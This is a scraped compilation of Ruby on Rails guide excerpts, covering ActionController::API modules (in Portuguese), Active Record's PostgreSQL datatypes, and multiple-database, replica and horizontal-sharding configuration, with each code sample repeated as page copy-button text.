- ActionController::Instrumentation: Suporte para ganchos de instrumentação definidos pela Action Controller (veja o guia da instrumentação para mais informações a respeito disso)

- ActionController::ParamsWrapper: Agrupa o hash dos parâmetros em um hash encadeado, para que você não precise especificar elementos raiz enviando requisições POST, por exemplo.

- ActionController::Head: Suporte para o retorno de uma resposta sem conteúdo, apenas headers.

Outros plugins podem adicionar mais módulos. Você pode obter uma lista de todos os módulos incluídos no ActionController::API no console do Rails:

irb> ActionController::API.ancestors - ActionController::Metal.ancestors
=> [ActionController::API,
ActiveRecord::Railties::ControllerRuntime,
ActionDispatch::Routing::RouteSet::MountedHelpers,
ActionController::ParamsWrapper,
... ,
AbstractController::Rendering,
ActionView::ViewPaths]

ActionController::API.ancestors - ActionController::Metal.ancestors Copiar

5.1 Adicionando Outros Módulos

Todos os módulos do Action Controller conhecem seus módulos dependentes. Assim, você pode incluir qualquer módulo em seus controllers, e todas as dependências serão incluídas e configuradas também.

Alguns módulos comuns que você pode querer adicionar:

- AbstractController::Translation: Suporte para os métodos de localização e tradução l e t

- Suporte para autenticações HTTP basic, digest ou por token:

- ActionController::HttpAuthentication::Basic::ControllerMethods

- ActionController::HttpAuthentication::Digest::ControllerMethods

- ActionController::HttpAuthentication::Token::ControllerMethods

- ActionView::Layouts: Suporte para layouts ao renderizar.

- ActionController::MimeResponds: Suporte para respond_to.

- ActionController::Cookies: Suporte para cookies, que inclui suporte para cookies assinados e criptografados. Isso requer um middleware de cookies

- ActionController::Caching: Suporte para cache da view do controller da API. Lembre-se que você precisará especificar manualmente o armazenamento em cache dentro do controller, como por exemplo:

class ApplicationController < ActionController::API
include ::ActionController::Caching
self.cache_store = :mem_cache_store
end

class ApplicationController < ActionController::API include ::ActionController::Caching self.cache_store = :mem_cache_store end Copiar

O Rails não faz essa configuração automaticamente

O melhor lugar para adicionar um módulo é em sua ApplicationController, mas você também pode adicionar módulos em controllers individuais.

Active Record and PostgreSQL — Ruby on...

1 Datatypes

PostgreSQL offers a number of specific datatypes. Following is a list of types, that are supported by the PostgreSQL adapter.

1.1 Bytea

- type definition

- functions and operators

# db/migrate/20140207133952_create_documents.rb
create_table :documents do |t|
t.binary 'payload'
end

# db/migrate/20140207133952_create_documents.rb create_table :documents do |t| t.binary 'payload' end Copiar

# app/models/document.rb
class Document < ApplicationRecord
end

# app/models/document.rb class Document < ApplicationRecord end Copiar

# Usage
data = File.read(Rails.root + "tmp/output.pdf")
Document.create payload: data

# Usage data = File.read(Rails.root + "tmp/output.pdf") Document.create payload: data Copiar

1.2 Array

- type definition

- functions and operators

# db/migrate/20140207133952_create_books.rb
create_table :books do |t|
t.string 'title'
t.string 'tags', array: true
t.integer 'ratings', array: true
end
add_index :books, :tags, using: 'gin'
add_index :books, :ratings, using: 'gin'

# db/migrate/20140207133952_create_books.rb create_table :books do |t| t.string 'title' t.string 'tags', array: true t.integer 'ratings', array: true end add_index :books, :tags, using: 'gin' add_index :books, :ratings, using: 'gin' Copiar

# app/models/book.rb
class Book < ApplicationRecord
end

# app/models/book.rb class Book < ApplicationRecord end Copiar

# Usage
Book.create title: "Brave New World",
tags: ["fantasy", "fiction"],
ratings: [4, 5]

## Books for a single tag
Book.where("'fantasy' = ANY (tags)")

## Books for multiple tags
Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])

## Books with 3 or more ratings
Book.where("array_length(ratings, 1) >= 3")

# Usage Book.create title: "Brave New World", tags: ["fantasy", "fiction"], ratings: [4, 5] ## Books for a single tag Book.where("'fantasy' = ANY (tags)") ## Books for multiple tags Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"]) ## Books with 3 or more ratings Book.where("array_length(ratings, 1) >= 3") Copiar

1.3 Hstore

- type definition

- functions and operators

You need to enable the hstore extension to use hstore.

# db/migrate/20131009135255_create_profiles.rb
ActiveRecord::Schema.define do
enable_extension 'hstore' unless extension_enabled?('hstore')
create_table :profiles do |t|
t.hstore 'settings'
end
end

# db/migrate/20131009135255_create_profiles.rb ActiveRecord::Schema.define do enable_extension 'hstore' unless extension_enabled?('hstore') create_table :profiles do |t| t.hstore 'settings' end end Copiar

# app/models/profile.rb
class Profile < ApplicationRecord
end

# app/models/profile.rb class Profile < ApplicationRecord end Copiar

irb> Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })

irb> profile = Profile.first
irb> profile.settings
=> {"color"=>"blue", "resolution"=>"800x600"}

irb> profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
irb> profile.save!

irb> Profile.where("settings->'color' = ?", "yellow")
=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>

Profile.create(settings: { "color" => "blue", "resolution" => "800x600" }) profile = Profile.first profile.settings profile.settings = {"color" => "yellow", "resolution" => "1280x1024"} profile.save! Profile.where("settings->'color' = ?", "yellow") Copiar

1.4 JSON and JSONB

- type definition

- functions and operators

# db/migrate/20131220144913_create_events.rb
# ... for json datatype:
create_table :events do |t|
t.json 'payload'
end
# ... or for jsonb datatype:
create_table :events do |t|
t.jsonb 'payload'
end

# db/migrate/20131220144913_create_events.rb # ... for json datatype: create_table :events do |t| t.json 'payload' end # ... or for jsonb datatype: create_table :events do |t| t.jsonb 'payload' end Copiar

# app/models/event.rb
class Event < ApplicationRecord
end

# app/models/event.rb class Event < ApplicationRecord end Copiar

irb> Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})

irb> event = Event.first
irb> event.payload
=> {"kind"=>"user_renamed", "change"=>["jack", "john"]}

## Query based on JSON document
# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
irb> Event.where("payload->>'kind' = ?", "user_renamed")

Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]}) event = Event.first event.payload Event.where("payload->>'kind' = ?", "user_renamed") Copiar

1.5 Range Types

- type definition

- functions and operators

This type is mapped to Ruby Range objects.

# db/migrate/20130923065404_create_events.rb
create_table :events do |t|
t.daterange 'duration'
end

# db/migrate/20130923065404_create_events.rb create_table :events do |t| t.daterange 'duration' end Copiar

# app/models/event.rb
class Event < ApplicationRecord
end

# app/models/event.rb class Event < ApplicationRecord end Copiar

irb> Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))

irb> event = Event.first
irb> event.duration
=> Tue, 11 Feb 2014...Thu, 13 Feb 2014

## All Events on a given date
irb> Event.where("duration @> ?::date", Date.new(2014, 2, 12))

## Working with range bounds
irb> event = Event.select("lower(duration) AS starts_at").select("upper(duration) AS ends_at").first

irb> event.starts_at
=> Tue, 11 Feb 2014
irb> event.ends_at
=> Thu, 13 Feb 2014

Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12)) event = Event.first event.duration Event.where("duration @> ?::date", Date.new(2014, 2, 12)) event = Event.select("lower(duration) AS starts_at").select("upper(duration) AS ends_at").first event.starts_at event.ends_at Copiar

1.6 Composite Types

- type definition

Currently there is no special support for composite types. They are mapped to normal text columns:

CREATE TYPE full_address AS
(
city VARCHAR(90),
street VARCHAR(90)
);

CREATE TYPE full_address AS ( city VARCHAR(90), street VARCHAR(90) ); Copiar

# db/migrate/20140207133952_create_contacts.rb
execute <<-SQL
CREATE TYPE full_address AS
(
city VARCHAR(90),
street VARCHAR(90)
);
SQL
create_table :contacts do |t|
t.column :address, :full_address
end

# db/migrate/20140207133952_create_contacts.rb execute <<-SQL CREATE TYPE full_address AS ( city VARCHAR(90), street VARCHAR(90) ); SQL create_table :contacts do |t| t.column :address, :full_address end Copiar

# app/models/contact.rb
class Contact < ApplicationRecord
end

# app/models/contact.rb class Contact < ApplicationRecord end Copiar

irb> Contact.create address: "(Paris,Champs-Élysées)"
irb> contact = Contact.first
irb> contact.address
=> "(Paris,Champs-Élysées)"
irb> contact.address = "(Paris,Rue Basse)"
irb> contact.save!

Contact.create address: "(Paris,Champs-Élysées)" contact = Contact.first contact.address contact.address = "(Paris,Rue Basse)" contact.save! Copiar

1.7 Enumerated Types

- type definition

Currently there is no special support for enumerated types. They are mapped as normal text columns:

# db/migrate/20131220144913_create_articles.rb
def up
execute <<-SQL
CREATE TYPE article_status AS ENUM ('draft', 'published');
SQL
create_table :articles do |t|
t.column :status, :article_status
end
end

# NOTE: It's important to drop table before dropping enum.
def down
drop_table :articles

execute <<-SQL
DROP TYPE article_status;
SQL
end

# db/migrate/20131220144913_create_articles.rb def up execute <<-SQL CREATE TYPE article_status AS ENUM ('draft', 'published'); SQL create_table :articles do |t| t.column :status, :article_status end end # NOTE: It's important to drop table before dropping enum. def down drop_table :articles execute <<-SQL DROP TYPE article_status; SQL end Copiar

# app/models/article.rb
class Article < ApplicationRecord
end

# app/models/article.rb class Article < ApplicationRecord end Copiar

irb> Article.create status: "draft"
irb> article = Article.first
irb> article.status
=> "draft"

irb> article.status = "published"
irb> article.save!

Article.create status: "draft" article = Article.first article.status article.status = "published" article.save! Copiar

To add a new value before/after existing one you should use ALTER TYPE:

# db/migrate/20150720144913_add_new_state_to_articles.rb
# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction!
disable_ddl_transaction!

def up
execute <<-SQL
ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published';
SQL
end

# db/migrate/20150720144913_add_new_state_to_articles.rb # NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction! disable_ddl_transaction! def up execute <<-SQL ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published'; SQL end Copiar

ENUM values can't be dropped currently. You can read why here.

Hint: to show all the values of the all enums you have, you should call this query in bin/rails db or psql console:

SELECT n.nspname AS enum_schema,
t.typname AS enum_name,
e.enumlabel AS enum_value
FROM pg_type t
JOIN pg_enum e ON t.oid = e.enumtypid
JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace

SELECT n.nspname AS enum_schema, t.typname AS enum_name, e.enumlabel AS enum_value FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace Copiar

1.8 UUID

- type definition

- pgcrypto generator function

- uuid-ossp generator functions

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp extension to use uuid.

# db/migrate/20131220144913_create_revisions.rb
create_table :revisions do |t|
t.uuid :identifier
end

# db/migrate/20131220144913_create_revisions.rb create_table :revisions do |t| t.uuid :identifier end Copiar

# app/models/revision.rb
class Revision < ApplicationRecord
end

# app/models/revision.rb class Revision < ApplicationRecord end Copiar

irb> Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"

irb> revision = Revision.first
irb> revision.identifier
=> "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"

Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11" revision = Revision.first revision.identifier Copiar

You can use uuid type to define references in migrations:

# db/migrate/20150418012400_create_blog.rb
enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
create_table :posts, id: :uuid

create_table :comments, id: :uuid do |t|
# t.belongs_to :post, type: :uuid
t.references :post, type: :uuid
end

# db/migrate/20150418012400_create_blog.rb enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') create_table :posts, id: :uuid create_table :comments, id: :uuid do |t| # t.belongs_to :post, type: :uuid t.references :post, type: :uuid end Copiar

# app/models/post.rb
class Post < ApplicationRecord
has_many :comments
end

# app/models/post.rb class Post < ApplicationRecord has_many :comments end Copiar

# app/models/comment.rb
class Comment < ApplicationRecord
belongs_to :post
end

# app/models/comment.rb class Comment < ApplicationRecord belongs_to :post end Copiar

See this section for more details on using UUIDs as primary key.

1.9 Bit String Types

- type definition

- functions and operators

# db/migrate/20131220144913_create_users.rb
create_table :users, force: true do |t|
t.column :settings, "bit(8)"
end

# db/migrate/20131220144913_create_users.rb create_table :users, force: true do |t| t.column :settings, "bit(8)" end Copiar

# app/models/user.rb
class User < ApplicationRecord
end

# app/models/user.rb class User < ApplicationRecord end Copiar

irb> User.create settings: "01010011"
irb> user = User.first
irb> user.settings
=> "01010011"
irb> user.settings = "0xAF"
irb> user.settings
=> 10101111
irb> user.save!

User.create settings: "01010011" user = User.first user.settings user.settings = "0xAF" user.settings user.save! Copiar

1.10 Network Address Types

- type definition

The types inet and cidr are mapped to Ruby IPAddr objects. The macaddr type is mapped to normal text.

# db/migrate/20140508144913_create_devices.rb
create_table(:devices, force: true) do |t|
t.inet 'ip'
t.cidr 'network'
t.macaddr 'address'
end

# db/migrate/20140508144913_create_devices.rb create_table(:devices, force: true) do |t| t.inet 'ip' t.cidr 'network' t.macaddr 'address' end Copiar

# app/models/device.rb
class Device < ApplicationRecord
end

# app/models/device.rb class Device < ApplicationRecord end Copiar

irb> macbook = Device.create(ip: "192.168.1.12", network: "192.168.2.0/24", address: "32:01:16:6d:05:ef")

irb> macbook.ip
=> #<IPAddr: IPv4:192.168.1.12/255.255.255.255>

irb> macbook.network
=> #<IPAddr: IPv4:192.168.2.0/255.255.255.0>

irb> macbook.address
=> "32:01:16:6d:05:ef"

macbook = Device.create(ip: "192.168.1.12", network: "192.168.2.0/24", address: "32:01:16:6d:05:ef") macbook.ip macbook.network macbook.address Copiar

1.11 Geometric Types

- type definition

All geometric types, with the exception of points are mapped to normal text. A point is casted to an array containing x and y coordinates.

1.12 Interval

- type definition

- functions and operators

This type is mapped to ActiveSupport::Duration objects.

# db/migrate/20200120000000_create_events.rb
create_table :events do |t|
t.interval 'duration'
end

# db/migrate/20200120000000_create_events.rb create_table :events do |t| t.interval 'duration' end Copiar

# app/models/event.rb
class Event < ApplicationRecord
end

# app/models/event.rb class Event < ApplicationRecord end Copiar

irb> Event.create(duration: 2.days)

irb> event = Event.first
irb> event.duration
=> 2 days

Event.create(duration: 2.days) event = Event.first event.duration Copiar

2 UUID Primary Keys

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp extension to generate random UUIDs.

# db/migrate/20131220144913_create_devices.rb
enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
create_table :devices, id: :uuid do |t|
t.string :kind
end

# db/migrate/20131220144913_create_devices.rb enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') create_table :devices, id: :uuid do |t| t.string :kind end Copiar

# app/models/device.rb
class Device < ApplicationRecord
end

# app/models/device.rb class Device < ApplicationRecord end Copiar

irb> device = Device.create
irb> device.id
=> "814865cd-5a1d-4771-9306-4268f188fe9e"

irb> device = Device.create irb> device.id => "814865cd-5a1d-4771-9306-4268f188fe9e" Copiar

gen_random_uuid() (from pgcrypto) is assumed if no :default option was passed to create_table.

3 Full Text Search

# db/migrate/20131220144913_create_documents.rb
create_table :documents do |t|
t.string 'title'
t.string 'body'
end

add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx'

# db/migrate/20131220144913_create_documents.rb create_table :documents do |t| t.string 'title' t.string 'body' end add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx' Copiar

# app/models/document.rb
class Document < ApplicationRecord
end

# app/models/document.rb class Document < ApplicationRecord end Copiar

# Usage
Document.create(title: "Cats and Dogs", body: "are nice!")

## all documents matching 'cat & dog'
Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
"cat & dog")

# Usage Document.create(title: "Cats and Dogs", body: "are nice!") ## all documents matching 'cat & dog' Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)", "cat & dog") Copiar

4 Database Views

- view creation

Imagine you need to work with a legacy database containing the following table:

rails_pg_guide=# \d "TBL_ART"
Table "public.TBL_ART"
Column   |            Type             |                         Modifiers
------------+-----------------------------+------------------------------------------------------------
INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
STR_TITLE  | character varying           |
STR_STAT   | character varying           | default 'draft'::character varying
DT_PUBL_AT | timestamp without time zone |
BL_ARCH    | boolean                     | default false
Indexes:
"TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")

rails_pg_guide=# \d "TBL_ART" Table "public.TBL_ART" Column | Type | Modifiers ------------+-----------------------------+------------------------------------------------------------ INT_ID | integer | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass) STR_TITLE | character varying | STR_STAT | character varying | default 'draft'::character varying DT_PUBL_AT | timestamp without time zone | BL_ARCH | boolean | default false Indexes: "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID") Copiar

This table does not follow the Rails conventions at all. Because simple PostgreSQL views are updateable by default, we can wrap it as follows:

# db/migrate/20131220144913_create_articles_view.rb
execute <<-SQL
CREATE VIEW articles AS
SELECT "INT_ID" AS id,
"STR_TITLE" AS title,
"STR_STAT" AS status,
"DT_PUBL_AT" AS published_at,
"BL_ARCH" AS archived
FROM "TBL_ART"
WHERE "BL_ARCH" = 'f'
SQL

# db/migrate/20131220144913_create_articles_view.rb execute <<-SQL CREATE VIEW articles AS SELECT "INT_ID" AS id, "STR_TITLE" AS title, "STR_STAT" AS status, "DT_PUBL_AT" AS published_at, "BL_ARCH" AS archived FROM "TBL_ART" WHERE "BL_ARCH" = 'f' SQL Copiar

# app/models/article.rb
class Article < ApplicationRecord
self.primary_key = "id"
def archive!
update_attribute :archived, true
end
end

# app/models/article.rb class Article < ApplicationRecord self.primary_key = "id" def archive! update_attribute :archived, true end end Copiar

irb> first = Article.create! title: "Winter is coming", status: "published", published_at: 1.year.ago
irb> second = Article.create! title: "Brace yourself", status: "draft", published_at: 1.month.ago

irb> Article.count
=> 2
irb> first.archive!
irb> Article.count
=> 1

first = Article.create! title: "Winter is coming", status: "published", published_at: 1.year.ago second = Article.create! title: "Brace yourself", status: "draft", published_at: 1.month.ago Article.count first.archive! Article.count Copiar

This application only cares about non-archived Articles. A view also allows for conditions so we can exclude the archived Articles directly.

Multiple Databases with Active Record...

1 Setting up your application

While Rails tries to do most of the work for you there are still some steps you'll need to do to get your application ready for multiple databases.

Let's say we have an application with a single writer database and we need to add a new database for some new tables we're adding. The name of the new database will be "animals".

The database.yml looks like this:

production:
database: my_primary_database
user: root
adapter: mysql

production: database: my_primary_database user: root adapter: mysql Copiar

Let's add a replica for the first configuration, and a second database called animals and a replica for that as well. To do this we need to change our database.yml from a 2-tier to a 3-tier config.

If a primary configuration is provided this will be used as the "default" configuration. If there is no configuration named "primary" Rails will use the first configuration for an environment. The default configurations will use the default Rails filenames. For example primary configurations will use schema.rb for the schema file whereas all other entries will use [CONFIGURATION_NAMESPACE]_schema.rb for the filename.

production:
primary:
database: my_primary_database
user: root
adapter: mysql
primary_replica:
database: my_primary_database
user: root_readonly
adapter: mysql
replica: true
animals:
database: my_animals_database
user: animals_root
adapter: mysql
migrations_paths: db/animals_migrate
animals_replica:
database: my_animals_database
user: animals_readonly
adapter: mysql
replica: true

production: primary: database: my_primary_database user: root adapter: mysql primary_replica: database: my_primary_database user: root_readonly adapter: mysql replica: true animals: database: my_animals_database user: animals_root adapter: mysql migrations_paths: db/animals_migrate animals_replica: database: my_animals_database user: animals_readonly adapter: mysql replica: true Copiar

When using multiple databases there are a few important settings.

First, the database name for the primary and primary_replica should be the same because they contain the same data. This is also the case for animals and animals_replica.

Second, the username for the writers and replicas should be different, and the replica user's permissions should be set to only read and not write.

When using a replica database you need to add a replica: true entry to the replica in the database.yml. This is because Rails otherwise has no way of knowing which one is a replica and which one is the writer.

Lastly, for new writer databases you need to set the migrations_paths to the directory where you will store migrations for that database. We'll look more at migrations_paths later on in this guide.

Now that we have a new database, let's set up the connection model. In order to use the new database we need to create a new abstract class and connect to the animals databases.

class AnimalsRecord < ApplicationRecord
self.abstract_class = true

connects_to database: { writing: :animals, reading: :animals_replica }
end

class AnimalsRecord < ApplicationRecord self.abstract_class = true connects_to database: { writing: :animals, reading: :animals_replica } end Copiar

Then we need to update ApplicationRecord to be aware of our new replica.

class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true

connects_to database: { writing: :primary, reading: :primary_replica }
end

class ApplicationRecord < ActiveRecord::Base self.abstract_class = true connects_to database: { writing: :primary, reading: :primary_replica } end Copiar

Classes that connect to primary/primary_replica can inherit from ApplicationRecord like standard Rails applications:

class Person < ApplicationRecord
end

class Person < ApplicationRecord end Copiar

By default Rails expects the database roles to be writing and reading for the primary and replica respectively. If you have a legacy system you may already have roles set up that you don't want to change. In that case you can set a new role name in your application config.

config.active_record.writing_role = :default
config.active_record.reading_role = :readonly

config.active_record.writing_role = :default config.active_record.reading_role = :readonly Copiar

It's important to connect to your database in a single model and then inherit from that model for the tables rather than connect multiple individual models to the same database. Database clients have a limit to the number of open connections there can be and if you do this it will multiply the number of connections you have since Rails uses the model class name for the connection specification name.

Now that we have the database.yml and the new model set up it's time to create the databases. Rails 6.0 ships with all the rails tasks you need to use multiple databases in Rails.

You can run bin/rails -T to see all the commands you're able to run. You should see the following:

$ bin/rails -T
rails db:create                          # Creates the database from DATABASE_URL or config/database.yml for the ...
rails db:create:animals                  # Create animals database for current environment
rails db:create:primary                  # Create primary database for current environment
rails db:drop                            # Drops the database from DATABASE_URL or config/database.yml for the cu...
rails db:drop:animals                    # Drop animals database for current environment
rails db:drop:primary                    # Drop primary database for current environment
rails db:migrate                         # Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)
rails db:migrate:animals                 # Migrate animals database for current environment
rails db:migrate:primary                 # Migrate primary database for current environment
rails db:migrate:status                  # Display status of migrations
rails db:migrate:status:animals          # Display status of migrations for animals database
rails db:migrate:status:primary          # Display status of migrations for primary database
rails db:rollback                        # Rolls the schema back to the previous version (specify steps w/ STEP=n)
rails db:rollback:animals                # Rollback animals database for current environment (specify steps w/ STEP=n)
rails db:rollback:primary                # Rollback primary database for current environment (specify steps w/ STEP=n)
rails db:schema:dump                     # Creates a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:dump:animals             # Creates a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:dump:primary             # Creates a db/schema.rb file that is portable against any DB supported  ...
rails db:schema:load                     # Loads a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:load:animals             # Loads a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:load:primary             # Loads a database schema file (either db/schema.rb or db/structure.sql  ...

bin/rails -T Copiar

Running a command like bin/rails db:create will create both the primary and animals databases. Note that there is no command for creating the users and you'll need to do that manually to support the readonly users for your replicas. If you want to create just the animals database you can run bin/rails db:create:animals.

2 Generators and Migrations

Migrations for multiple databases should live in their own folders prefixed with the name of the database key in the configuration.

You also need to set the migrations_paths in the database configurations to tell Rails where to find the migrations.

For example the animals database would look for migrations in the db/animals_migrate directory and primary would look in db/migrate. Rails generators now take a --database option so that the file is generated in the correct directory. The command can be run like so:

$ bin/rails generate migration CreateDogs name:string --database animals

bin/rails generate migration CreateDogs name:string --database animals Copiar

If you are using Rails generators, the scaffold and model generators will create the abstract class for you. Simply pass the database key to the command line

$ bin/rails generate scaffold Dog name:string --database animals

bin/rails generate scaffold Dog name:string --database animals Copiar

A class with the database name and Record will be created. In this example the database is Animals so we end up with AnimalsRecord:

class AnimalsRecord < ApplicationRecord
self.abstract_class = true

connects_to database: { writing: :animals }
end

class AnimalsRecord < ApplicationRecord self.abstract_class = true connects_to database: { writing: :animals } end Copiar

The generated model will automatically inherit from AnimalsRecord.

class Dog < AnimalsRecord
end

class Dog < AnimalsRecord end Copiar

Note: Since Rails doesn't know which database is the replica for your writer you will need to add this to the abstract class after you're done.

Rails will only generate the new class once. It will not be overwritten by new scaffolds or deleted if the scaffold is deleted.

If you already have an abstract class and its name differs from AnimalsRecord you can pass the --parent option to indicate you want a different abstract class:

$ bin/rails generate scaffold Dog name:string --database animals --parent Animals::Record

bin/rails generate scaffold Dog name:string --database animals --parent Animals::Record Copiar

This will skip generating AnimalsRecord since you've indicated to Rails that you want to use a different parent class.

3 Activating automatic connection switching

Finally, in order to use the read-only replica in your application you'll need to activate the middleware for automatic switching.

Automatic switching allows the application to switch from the writer to replica or replica to writer based on the HTTP verb and whether there was a recent write.

If the application is receiving a POST, PUT, DELETE, or PATCH request the application will automatically write to the writer database. For the specified time after the write, the application will read from the primary. For a GET or HEAD request the application will read from the replica unless there was a recent write.

To activate the automatic connection switching middleware, add or uncomment the following lines in your application config.

config.active_record.database_selector = { delay: 2.seconds }
config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session

config.active_record.database_selector = { delay: 2.seconds } config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session Copiar

Rails guarantees "read your own write" and will send your GET or HEAD request to the writer if it's within the delay window. By default the delay is set to 2 seconds. You should change this based on your database infrastructure. Rails doesn't guarantee "read a recent write" for other users within the delay window and will send GET and HEAD requests to the replicas unless they wrote recently.

The automatic connection switching in Rails is relatively primitive and deliberately doesn't do a whole lot. The goal is a system that demonstrates how to do automatic connection switching that was flexible enough to be customizable by app developers.

The setup in Rails allows you to easily change how the switching is done and what parameters it's based on. Let's say you want to use a cookie instead of a session to decide when to swap connections. You can write your own class:

class MyCookieResolver
# code for your cookie class
end

class MyCookieResolver # code for your cookie class end Copiar

And then pass it to the middleware:

config.active_record.database_selector = { delay: 2.seconds }
config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
config.active_record.database_resolver_context = MyCookieResolver

config.active_record.database_selector = { delay: 2.seconds } config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver config.active_record.database_resolver_context = MyCookieResolver Copiar

4 Using manual connection switching

There are some cases where you may want your application to connect to a writer or a replica and the automatic connection switching isn't adequate. For example, you may know that for a particular request you always want to send the request to a replica, even when you are in a POST request path.

To do this Rails provides a connected_to method that will switch to the connection you need.

ActiveRecord::Base.connected_to(role: :reading) do
# all code in this block will be connected to the reading role
end

ActiveRecord::Base.connected_to(role: :reading) do # all code in this block will be connected to the reading role end Copiar

The "role" in the connected_to call looks up the connections that are connected on that connection handler (or role). The reading connection handler will hold all the connections that were connected via connects_to with the role name of reading.

Note that connected_to with a role will look up an existing connection and switch using the connection specification name. This means that if you pass an unknown role like connected_to(role: :nonexistent) you will get an error that says ActiveRecord::ConnectionNotEstablished (No connection pool for 'ActiveRecord::Base' found for the 'nonexistent' role.)

5 Horizontal sharding

Horizontal sharding is when you split up your database to reduce the number of rows on each database server, but maintain the same schema across "shards". This is commonly called "multi-tenant" sharding.

The API for supporting horizontal sharding in Rails is similar to the multiple database / vertical sharding API that's existed since Rails 6.0.

Shards are declared in the three-tier config like this:

production:
primary:
database: my_primary_database
adapter: mysql
primary_replica:
database: my_primary_database
adapter: mysql
replica: true
primary_shard_one:
database: my_primary_shard_one
adapter: mysql
primary_shard_one_replica:
database: my_primary_shard_one
adapter: mysql
replica: true

production: primary: database: my_primary_database adapter: mysql primary_replica: database: my_primary_database adapter: mysql replica: true primary_shard_one: database: my_primary_shard_one adapter: mysql primary_shard_one_replica: database: my_primary_shard_one adapter: mysql replica: true Copiar

Models are then connected with the connects_to API via the shards key:

class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true

connects_to shards: {
default: { writing: :primary, reading: :primary_replica },
shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
}
end

class ApplicationRecord < ActiveRecord::Base self.abstract_class = true connects_to shards: { default: { writing: :primary, reading: :primary_replica }, shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica } } end Copiar

Then models can swap connections manually via the connected_to API. If using sharding both a role and shard must be passed:

ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
@id = Person.create! # Creates a record in shard default
end

ActiveRecord::Base.connected_to(role: :writing, shard: :shard_one) do
Person.find(@id) # Can't find record, doesn't exist because it was created
# in the default shard
end

ActiveRecord::Base.connected_to(role: :writing, shard: :default) do @id = Person.create! # Creates a record in shard default end ActiveRecord::Base.connected_to(role: :writing, shard: :shard_one) do Person.find(@id) # Can't find record, doesn't exist because it was created # in the default shard end Copiar

The horizontal sharding API also supports read replicas. You can swap the role and the shard with the connected_to API.

ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
Person.first # Lookup record from read replica of shard one
end

ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do Person.first # Lookup record from read replica of shard one end Copiar

6 Granular Database Connection Switching

In Rails 6.1 it's possible to switch connections for one database instead of all databases globally. To use this feature you must first set config.active_record.legacy_connection_handling to false in your application configuration. The majority of applications should not need to make any other changes since the public APIs have the same behavior.

With legacy_connection_handling set to false, any abstract connection class will be able to switch connections without affecting other connections. This is useful for switching your AnimalsRecord queries to read from the replica while ensuring your ApplicationRecord queries go to the primary.

AnimalsRecord.connected_to(role: :reading) do
Dog.first # Reads from animals_replica
Person.first  # Reads from primary
end

AnimalsRecord.connected_to(role: :reading) do Dog.first # Reads from animals_replica Person.first # Reads from primary end Copiar

It's also possible to swap connections granularly for shards.

AnimalsRecord.connected_to(role: :reading, shard: :shard_one) do
Dog.first # Will read from shard_one_replica. If no connection exists for shard_one_replica,
# a ConnectionNotEstablished error will be raised
Person.first # Will read from primary writer
end

AnimalsRecord.connected_to(role: :reading, shard: :shard_one) do Dog.first # Will read from shard_one_replica. If no connection exists for shard_one_replica, # a ConnectionNotEstablished error will be raised Person.first # Will read from primary writer end Copiar

To switch only the primary database cluster use ApplicationRecord:

ApplicationRecord.connected_to(role: :reading, shard: :shard_one) do
Person.first # Reads from primary_shard_one_replica
Dog.first # Reads from animals_primary
end

ApplicationRecord.connected_to(role: :reading, shard: :shard_one) do Person.first # Reads from primary_shard_one_replica Dog.first # Reads from animals_primary end Copiar

